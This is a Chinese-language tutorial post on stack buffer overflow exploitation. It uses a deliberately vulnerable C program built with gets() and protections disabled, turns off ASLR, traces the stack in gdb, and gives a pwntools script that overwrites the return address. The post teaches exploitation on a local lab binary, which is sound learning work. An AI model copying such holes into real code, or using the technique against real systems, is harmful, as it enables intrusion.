[TOC]

PWN-栈溢出原理

编写一个无任何保护的ELF文件

程序stack_example.c

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
  • -m32 指的是生成 32 位程序
  • -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。
  • -no-pie关闭 PIE(Position Independent Executable),避免加载基址被打乱。
  • -o输出

Linux的保护机制和大小端存储

地址随机化保护:

sudo echo 0 > /proc/sys/kernel/randomize_va_space
  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

大小端:

https://blog.csdn.net/weixin_44309300/article/details/114962540

栈帧结构

  • 调用约定

https://www.cnblogs.com/clover-toeic/p/3756668.html

  • CALL指令相当于执行一条PUSH 下一条指令的地址(即之后ret返回的地址) +一条JMP指令。//esp-4

  • ret指令 《=》 pop eip //esp+4

  • leave指令

    在32位汇编下相当于:
      mov esp,ebp;    //将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esp
      pop ebp         //esp = esp + 4

gdb分析

1,gdb stack_example运行程序

b main  //主函数下断点
r       //运行

2,

gdb查看反汇编,带源码查看

disassemble  /m

带范围的查看,并显示机器码

disassemble  /r 0x08048496,0x0804849e  //注意逗号

3,调试跟踪堆栈变化

分析vulnerable函数

3.1步入vulnerable函数

3.2执行完push ebp后结果

3.3执行完mov ebp,esp

3.4执行 sub esp,0x18

3.5执行sub esp,0xc

3.6lea eax,[ebp - 0x14](即eax存放的是s)

3.7push eax | call gets@plt(这里ni步过,不使用si步入)

3.8add esp,0x10

3.9 sub esp, 0xc

3.10 跳过不影响栈帧变化的指令,到push eax

3.11开始恢复栈帧 add esp,0x10

3.12leave

回忆:leave指令

在32位汇编下相当于:
    mov esp,ebp;    //将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esp
    pop ebp         //esp = esp + 4

执行前:

执行后:

3.13 ret

回忆:ret指令 《=》 pop eip //esp+4

结论:由于gets()函数是一个危险函数,未对我们的输入进行过滤约束,所以我们可以通过栈的结构,精心构造最后ret返回eip的值,即可达到控制程序流程目的。

数据输入流写想内存方向

精心构造的输入数据构成的栈帧

exp之pwntool使用

https://bbs.pediy.com/thread-247217.htm

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖